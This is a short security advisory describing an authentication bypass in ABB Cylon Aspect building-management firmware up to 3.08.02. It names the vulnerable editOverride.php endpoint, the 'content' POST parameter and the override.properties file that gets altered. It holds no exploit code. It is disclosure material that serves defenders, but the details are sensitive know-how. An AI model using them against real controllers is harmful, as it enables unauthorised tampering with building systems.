<html><body><p>ABB Cylon Aspect 3.08.02 (editOverride.php) Authentication Bypass MIX Override


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: &lt;=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller allows users to bypass authentication
by setting the 'content' POST parameter. This enables an attacker to inject arbitrary
configuration overrides, potentially leading to unauthorized changes and compromising
system integrity. The vulnerability can be exploited to update the /usr/local/aam/etc/override.properties
file. This file contains critical configuration overrides such as enabling overrides
(Override.enabled=true) and setting specific properties like debug.level=1. The
runjava.VARIANT* script then sources this file during execution, applying the overrides
when the system reboots or the application restarts. This allows attackers to
manipulate critical system settings, potentially causing performance degradation,
introducing security risks, or resulting in a denial of service scenario.

Tested on: GNU/Linux 3.15.10 (armv7l)
